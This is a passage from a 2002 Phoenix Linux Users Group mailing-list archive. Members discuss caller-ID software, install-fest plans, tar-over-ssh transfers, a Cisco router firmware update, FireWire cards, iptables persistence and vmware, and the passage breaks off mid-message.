On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:42:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 10 Jun 2002 10:42:07 -0700 Subject: Install Fest Question In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> Message-ID: <0206101042070N.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Most home computer users who are unfamiliar with Linux would probably be best having Mandrake (my choice), Red Hat, or S.u.S.E. Installed. If a customer has a preference for another distribution, there will be Internet connectivity available to get it. On a related note, we will have V1.0 of Open Office and Mozilla available, thanks to Matt. On Monday 10 June 2002 10:16, you wrote: > All, > > > Is there going to be a distribution that is going to be recommended at the > install fest over another? I am sure everyone has their favorites just > didn't know if there was going to be a standard. Thanks. > > > -Larry > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQTk7ysk3ywszI1FEQIStgCdHAEDYJ7c50vQAlJjaA4hBMkoaSsAniNa 7IiBXjbGf1bl9dyxiyyLg3ZF =MfYo -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 11:00:59 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> Message-ID: <20020610180059.GX14558@ecloud.org> On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? Well I see that a modem will not dial out if you are talking on the phone, so obviously it can tell that it's in use. It tries to detect dial tone, and says "no dial tone" if it doesn't hear it. So maybe you could find some tricky way to get it to try and dial, without actually dialing, and see what sort of error message you get back; and thus develop a method to poll the line to see when it's in use. But I think you will hear a "click" each time it does this. As for caller ID, I'm currently using 2 methods. One, is that I modified mgetty/vgetty to call an external program with caller ID info. (It already logs this info, and can use CID to decide whether to answer the phone or not, etc.) Then I wrote an external program which given caller ID info on its command-line, constructs an XML message, and sends it out as a multicast packet. That way any machine on the network can monitor and display this information. Then I wrote a very simple X client which runs in the background and pops up a window when it receives one of these packets. There is another caller ID daemon that you will find on freshmeat, which uses multicast or broadcast packets I think. And it works with a Gnome panel applet called gtele. However you must dedicate a modem just for this daemon. I naturally wanted to do voicemail on the same line, so modifying mgetty seems like a better choice to me. But I need to submit a patch some day to the author, and get some help with making it better, because right now it's kindof slow - I don't see that packet until after the second ring, whereas it should be after the first ring. My second method is a QNX app called ACID (Audrey Caller ID). It uses the Audrey's built-in modem to get caller ID data and display it, and can also act as a server so that other instances of ACID on other machines can connect to it and display the data. It can also log calls, use a database to match names with numbers, play sounds when specific people call, etc. Those are good ideas. But maybe the "suggested sound" should be specified as a URL in my XML message, and then the fancier clients could get it from a web server and play it, instead of having to deploy the sounds themselves on each client. And the server would make the decision about which sound to play. I could even have the server use festival to speak the name, create a sound file and make it available on the web server, at the same time it sends out the packet, so that there will always be a sound; and additionally there could be custom sounds for specific friends. I want to write a QNX app that receives my multicast packets, and maybe a Mac one, and a KDE one, and modify gtele. I would welcome help with these things if any of you have expertise with such things. I will try to build the QNX client next, I think; I put together a development system just for that purpose. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:06:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Mon, 10 Jun 2002 11:06:34 -0700 Subject: sftp In-Reply-To: Carl Parrish "Re: Re: sftp" (Jun 10, 1:24pm) References: <20020610172400.IWLO4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: <1020610180634.ZM14959@localhost.localdomain> On Jun 10, 1:24pm, Carl Parrish wrote: > Kevin when you tar a file does it create a copy or does it effect > the original? The directories I need to more are on a semi public > box and will be in use during the transfer. It doesn't modify the original file. If you don't want to create a copy of the directories that you're transferring, you can do it something like this: cd somewhere tar cf - somedir1 somedir2 | ssh remote.host.com 'cd somewhereelse; tar xvf -' Or: ssh remote.host.com 'cd somewhere; tar cf - somedir1 somedir2' \ | ( cd somewhereelse; tar xvf - ) Kevin From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:06:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 13:06:15 -0500 (CDT) Subject: Install Fest Question In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> Message-ID: The ones your friends use. -Derek On Mon, 10 Jun 2002, Larry Lauer wrote: > > All, > > > Is there going to be a distribution that is going to be recommended at the install fest over another? I am sure everyone has their favorites just didn't know if there was going to be a standard. Thanks. > > > -Larry > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:56:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 10 Jun 2002 11:56:48 -0700 Subject: Install Fest Question In-Reply-To: References: Message-ID: <200206101156.48695.voltage_spike@fastmail.fm> On Monday 10 June 2002 11:06 am, Derek Neighbors wrote: > The ones your friends use. > > On Mon, 10 Jun 2002, Larry Lauer wrote: > > Is there going to be a distribution that is going to be recommended at > > the install fest over another? I am sure everyone has their favorites > > just didn't know if there was going to be a standard. Thanks. Windows? PS: And yes, I am trying to get my friends to come. ;-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:38:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Page greer) Date: Mon, 10 Jun 2002 12:38:33 -0700 Subject: modem configuration Message-ID: <20020610.124045.1812.2.eegap@juno.com> I've got aanew modem that for some reason I can't get to con figure Im running Dual. boot system With Xp And Suse 8.0 pro The reason I got the new modem is the isp had there # s changed and the weren 't told It supposed to be really easy under yastY to do this I've had it on-line with Xp . But for some reason it wont initiate. Suse uses SUSE meta as pppd and it was working under KDE 3.0 I've red all through Suse manuals and cant find there Docs on Suse meta or the smppppd file its under I cant find the dumb file in the Command line under root either any body got any idea's ITS a zoom modem off suse's capatablelist From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:42:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 12:42:59 -0700 Subject: Caller ID (was telephony) In-Reply-To: <20020610180059.GX14558@ecloud.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> <20020610180059.GX14558@ecloud.org> Message-ID: <200206101943.PAA02238@hostinworld6.com> I don't think that it's slow. I heard somewhere the the Telco sends the info after the second ring. -Bryce On 10 Jun 2002 11:00:59 -0700, Shawn Rutledge wrote: > On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > > 0) get cid from your provider > > > 1) get a cid + linux compatible modem > > > 2a) get one of the many cid apps (see sourceforge) > > > 2b) roll your own with Device::Serial or direct ioctl calls > > > 3) YMMV > > > > > > For instance, I've got my roll-your-own program sending jabber > > > messages to me currently. :-) > > > > On a related topic, does anybody know if any of the cid programs for Linux > > support logging the call time? I'm trying to figure out a way to count up > > the total number of minutes that my phone is in use (incoming and outgoing; > > local and long distance) and Qwest won't give me that info without a > > subpoena. Now I know that my modem can get the CID info without answering > > the phone, but can it figure out how long the phone is active? > > Well I see that a modem will not dial out if you are talking on the > phone, so obviously it can tell that it's in use. It tries to detect > dial tone, and says "no dial tone" if it doesn't hear it. So maybe you > could find some tricky way to get it to try and dial, without actually > dialing, and see what sort of error message you get back; and thus > develop a method to poll the line to see when it's in use. But I think > you will hear a "click" each time it does this. > > As for caller ID, I'm currently using 2 methods. One, is that I modified > mgetty/vgetty to call an external program with caller ID info. (It > already logs this info, and can use CID to decide whether to answer the > phone or not, etc.) Then I wrote an external program which given caller > ID info on its command-line, constructs an XML message, and sends it out > as a multicast packet. That way any machine on the network can monitor > and display this information. Then I wrote a very simple X client which > runs in the background and pops up a window when it receives one of these > packets. > > There is another caller ID daemon that you will find on freshmeat, which > uses multicast or broadcast packets I think. And it works with a Gnome > panel applet called gtele. However you must dedicate a modem just for > this daemon. I naturally wanted to do voicemail on the same line, so > modifying mgetty seems like a better choice to me. But I need to submit > a patch some day to the author, and get some help with making it better, > because right now it's kindof slow - I don't see that packet until after > the second ring, whereas it should be after the first ring. > > My second method is a QNX app called ACID (Audrey Caller ID). It uses > the Audrey's built-in modem to get caller ID data and display it, and can > also act as a server so that other instances of ACID on other machines > can connect to it and display the data. It can also log calls, use a > database to match names with numbers, play sounds when specific people > call, etc. Those are good ideas. But maybe the "suggested sound" > should be specified as a URL in my XML message, and then the fancier > clients could get it from a web server and play it, instead of having to > deploy the sounds themselves on each client. And the server would make > the decision about which sound to play. I could even have the server use > festival to speak the name, create a sound file and make it available on > the web server, at the same time it sends out the packet, so that there > will always be a sound; and additionally there could be custom sounds for > specific friends. > > I want to write a QNX app that receives my multicast packets, and maybe a > Mac one, and a KDE one, and modify gtele. I would welcome help with > these things if any of you have expertise with such things. I will try > to build the QNX client next, I think; I put together a development > system just for that purpose. > > -- > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 12:48:54 -0700 Subject: Install Fest Question Message-ID: <01C2107D.2E693B40.wlindley@wlindley.com> > Is there going to be a distribution that is going to be recommended at > the install fest over another? So far the count of folks who would help install the various distributions stands at: RedHat: 3 (Robert Ambrose, Alan Dayley, Robert Klahn) Mandrake: 3 (Kevin O'Connor, Virgil Silhanek, William Lindley) BSD: 3 (Justin Zeigler, Harry McGregor, J. Francois) Slackware: 1 (Bruce Pettycrew) Debian: 1 (Robert Klahn) Folks, vote for your favorite distribution by telling me (OFF-LIST: wlindley@wlindley.com ) you'll be there to help with an install or two! \\/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:57:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 12:57:31 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206101943.PAA02238@hostinworld6.com> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> <20020610180059.GX14558@ecloud.org> <200206101943.PAA02238@hostinworld6.com> Message-ID: <20020610195731.GA14558@ecloud.org> On Mon, Jun 10, 2002 at 12:42:59PM -0700, Bryce C. wrote: > I don't think that it's slow. I heard somewhere the the Telco sends the > info after the second ring. No it's after the first ring. My standalone caller ID box and the Audreys both receive it much sooner than the mgetty mod. It's just that mgetty wasn't designed for that; so far it uses caller ID to decide whether to answer the phone or not, and speed isn't very important for that purpose. > On 10 Jun 2002 11:00:59 -0700, Shawn Rutledge wrote: > > On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > > > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > > > 0) get cid from your provider > > > > 1) get a cid + linux compatible modem > > > > 2a) get one of the many cid apps (see sourceforge) > > > > 2b) roll your own with Device::Serial or direct ioctl calls > > > > 3) YMMV > > > > > > > > For instance, I've got my roll-your-own program sending jabber > > > > messages to me currently. :-) > > > > > > On a related topic, does anybody know if any of the cid programs for Linux > > > support logging the call time? I'm trying to figure out a way to count up > > > the total number of minutes that my phone is in use (incoming and outgoing; > > > local and long distance) and Qwest won't give me that info without a > > > subpoena. Now I know that my modem can get the CID info without answering > > > the phone, but can it figure out how long the phone is active? > > > > Well I see that a modem will not dial out if you are talking on the > > phone, so obviously it can tell that it's in use. It tries to detect > > dial tone, and says "no dial tone" if it doesn't hear it. So maybe you > > could find some tricky way to get it to try and dial, without actually > > dialing, and see what sort of error message you get back; and thus > > develop a method to poll the line to see when it's in use. But I think > > you will hear a "click" each time it does this. > > > > As for caller ID, I'm currently using 2 methods. One, is that I modified > > mgetty/vgetty to call an external program with caller ID info. (It > > already logs this info, and can use CID to decide whether to answer the > > phone or not, etc.) Then I wrote an external program which given caller > > ID info on its command-line, constructs an XML message, and sends it out > > as a multicast packet. That way any machine on the network can monitor > > and display this information. Then I wrote a very simple X client which > > runs in the background and pops up a window when it receives one of these > > packets. > > > > There is another caller ID daemon that you will find on freshmeat, which > > uses multicast or broadcast packets I think. And it works with a Gnome > > panel applet called gtele. However you must dedicate a modem just for > > this daemon. I naturally wanted to do voicemail on the same line, so > > modifying mgetty seems like a better choice to me. But I need to submit > > a patch some day to the author, and get some help with making it better, > > because right now it's kindof slow - I don't see that packet until after > > the second ring, whereas it should be after the first ring. > > > > My second method is a QNX app called ACID (Audrey Caller ID). It uses > > the Audrey's built-in modem to get caller ID data and display it, and can > > also act as a server so that other instances of ACID on other machines > > can connect to it and display the data. It can also log calls, use a > > database to match names with numbers, play sounds when specific people > > call, etc. Those are good ideas. But maybe the "suggested sound" > > should be specified as a URL in my XML message, and then the fancier > > clients could get it from a web server and play it, instead of having to > > deploy the sounds themselves on each client. And the server would make > > the decision about which sound to play. I could even have the server use > > festival to speak the name, create a sound file and make it available on > > the web server, at the same time it sends out the packet, so that there > > will always be a sound; and additionally there could be custom sounds for > > specific friends. > > > > I want to write a QNX app that receives my multicast packets, and maybe a > > Mac one, and a KDE one, and modify gtele. I would welcome help with > > these things if any of you have expertise with such things. I will try > > to build the QNX client next, I think; I put together a development > > system just for that purpose. > > > > -- > > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > > __) | | \________________________________________________________________ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:19:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 10 Jun 2002 14:19:54 -0700 Subject: Caller ID (was telephony) In-Reply-To: <20020610195731.GA14558@ecloud.org> References: <200206101943.PAA02238@hostinworld6.com> <20020610195731.GA14558@ecloud.org> Message-ID: <200206101419.54560.voltage_spike@fastmail.fm> On Monday 10 June 2002 12:57 pm, Shawn Rutledge wrote: > On Mon, Jun 10, 2002 at 12:42:59PM -0700, Bryce C. wrote: > > I don't think that it's slow. I heard somewhere the the Telco sends > > the info after the second ring. > > No it's after the first ring. My standalone caller ID box and the > Audreys both receive it much sooner than the mgetty mod. It's just > that mgetty wasn't designed for that; so far it uses caller ID to > decide whether to answer the phone or not, and speed isn't very > important for that purpose. The caller ID information wait times out after the second ring. Perhaps the information is being sent on the timeout rather than when the checksum byte is received? Something to look at. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 20:58:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Richardson) Date: Mon, 10 Jun 2002 13:58:59 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint References: Message-ID: <3D051313.1030805@milagrosoft.com> Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:47:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Mon, 10 Jun 2002 14:47:05 -0700 Subject: Firewire card for Linux Message-ID: <3D051E59.9030000@esaravana.com> I have to get a Firewire card for my Videocam. Do you suggest any Linux compatible cards? Sundar From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:53:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 10 Jun 2002 14:53:55 -0700 Subject: Firewire card for Linux References: <3D051E59.9030000@esaravana.com> Message-ID: <3D051FF3.4EB19AB4@qwest.net> See if this link helps. http://linux1394.sourceforge.net/hcl.php > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:05:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 15:05:11 -0700 Subject: Firewire card for Linux In-Reply-To: <3D051E59.9030000@esaravana.com> References: <3D051E59.9030000@esaravana.com> Message-ID: <20020610220511.GC14558@ecloud.org> On Mon, Jun 10, 2002 at 02:47:05PM -0700, Sundar wrote: > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? Just get an OHCI compatible one. Most of them are, and should certainly say so on the box or web site. I got a fairly nice one I think, for cheap (3 external ports and one internal, maybe it was made by Lucent if memory serves), and the kernel detects it just fine, but that's as far as I got so far: ohci1394: $Revision: 1.80 $ Ben Collins PCI: Found IRQ 11 for device 00:0f.0 PCI: Sharing IRQ 11 with 00:02.2 ohci1394_0: OHCI-1394 1.0 (PCI): IRQ=[11] MMIO=[cffff000-cffff800] Max Packet=[2048] video1394: Installed video1394 module raw1394: /dev/raw1394 device initialized ieee1394: sbp2: Driver forced to serialize I/O (serialize_io = 1) scsi2 : IEEE-1394 SBP-2 protocol driver Any suggestions for good video editing software which can generate VCDs would be appreciated; I want to transfer video from my digital 8mm to some sort of disc format (VCD or maybe DVD some day). And does anybody know if VCD is a universal format, e.g. will the same discs play on a generic PAL DVD player, or do you have to purposely encode at higher res and lower framerate? It would be convenient for sending home movies to my wife's family. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:15:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 15:15:51 -0700 Subject: Firewire card for Linux In-Reply-To: <20020610220511.GC14558@ecloud.org> References: <3D051E59.9030000@esaravana.com> <20020610220511.GC14558@ecloud.org> Message-ID: <20020610221551.GD14558@ecloud.org> On Mon, Jun 10, 2002 at 03:05:11PM -0700, Shawn Rutledge wrote: > Any suggestions for good video editing software which can generate VCDs > would be appreciated; I want to transfer video from my digital 8mm to > some sort of disc format (VCD or maybe DVD some day). > > And does anybody know if VCD is a universal format, e.g. will the same > discs play on a generic PAL DVD player, or do you have to purposely > encode at higher res and lower framerate? It would be convenient for > sending home movies to my wife's family. Well... didn't take long to answer those questions: http://www.geocities.com/Athens/Forum/2496/vcdfaq.html and http://www.theorie.physik.uni-goettingen.de/~ostreich/transcode/mpeg.html -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:05:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 15:05:40 -0700 Subject: Firewire card for Linux In-Reply-To: <3D051E59.9030000@esaravana.com> Message-ID: <200206102213.SAA10796@hostinworld6.com> I was able to use the card that came with my DV Cam from a special at Fry's a couple years ago. It was just fine as a generic UHCI/OHCI (I forget right now). The only problem I noted was an amusing 3 second delay between the cam and display but that's probably just my system. The topic was well discussed in the Feb'02 issue of Linux Journal. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 10 Jun 2002 14:47:05 -0700, Sundar wrote: > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? > > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:26:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Mon, 10 Jun 2002 15:26:18 -0700 Subject: What newbie training will be available at the InstallFest? Message-ID: <3D05278A.7090102@earthlink.net> I'm a newbie when it comes to Linux and I have a lot of questions. I'd like to get as much knowledge as I can, in the form of training, from the more experienced folks who'll be in attendance at the InstallFest. I'd like to know what exactly will be offered. BTW... Thanks to the folks who've been of help to me so far, both on and off list. I really appreciate it. Ben Chacko nismo96@earthlink.net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:59:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 15:59:15 -0700 Subject: Installfest Question (Yet another) Message-ID: <200206102300.TAA29368@hostinworld6.com> Regarding Macs, If I bring one of mine and a MkLinux CD, will someone help me install. I don't want to mis-partition it and be stuck w/o a working computer (1 is too many) because I don't have a MacOS CD for it if I have to re-install it. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 23:17:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Mon, 10 Jun 2002 16:17:26 -0700 (PDT) Subject: Linux on Comedy Central? Message-ID: <20020610231726.83489.qmail@web13406.mail.yahoo.com> Hey all, Just thought I'd share something interesting with you. I don't know if any of you watch Comedy Central to regularly but there is a show on there called "Crank Yankers". It's a bunch of puppets and prank calls. Well one of the calls was from "Special Ed" to a tech support line. To my surprise there was a giant Linux poster (Linux Inside) on the back of the wall :). Wonder where it will make its appearance next? Maybe some trippy anime show on the Cartoon Network starring Tux. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 00:27:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 10 Jun 2002 17:27:47 -0700 Subject: iptables missing after reboot (what I found) References: <3CFB9191.439F15F2@earthlink.net> Message-ID: <3D054403.D590116A@earthlink.net> Thank you all for the help! When I started to really dig in, I discovered the Mandrake 8.1 I use does indeed have some scripts in /etc/rc.d for farewall stuff! I put in an 'echo' to print a message on boot to wee where it was coming up in. What I saw was the rc.firewall script was executing first, but I saw other messages that again flushed the rules and ended up with a default. Well that default was /etc/sysconfig/iptables was being executed by /etc/rc.d/rc.sysinit. I then discovered I could get the initial rule set up and use 'service iptables save' to save then in the /etc/sysconfig/iptables. I left the rc.firewall as is since it doesn't seem to hurt anything. Now I just have to continue to learn iptables to bring up the security to a respectable level. pete From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 00:52:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 17:52:04 -0700 Subject: Installfest Suggestion Message-ID: <200206110052.UAA01113@hostinworld6.com> This is seperate from my other question regarding the installfest. Has anyone considered bringing some SuSE Live Eval CDs for those who just want to try linux? I'd be willing to burn half a dozen copies or so if no one else is already planning on bringing it. I found it the least "stressful" of all dual boots and it takes up a minimal amount of HD space but the drawback is that it runs from the CD. Still this would allow people to dip their toe in a "user-friendly" Linux pond. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 02:10:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 10 Jun 2002 22:10:24 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Message-ID: <3D055C10.29367AC0@georgetoft.com> My experience with vmware is very positive. Issues with vmware: - I cannot listen to Internet Radio at kccnfm100.com. Even with four new software downloads, three reboots (virtual), and 2 crashes, all I got was static. - vmware does not do streaming media via USB. Want to use a USB camera? Forget it. - vmware with sound is usually preceeded with a loud pop. - vmware does not support directx very well (if at all). Other than that, it lets me do my taxes, browse using IE 5.5, and gives me blue screens, just like the real thing. George Mike Porter wrote: > > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) > > So, those who 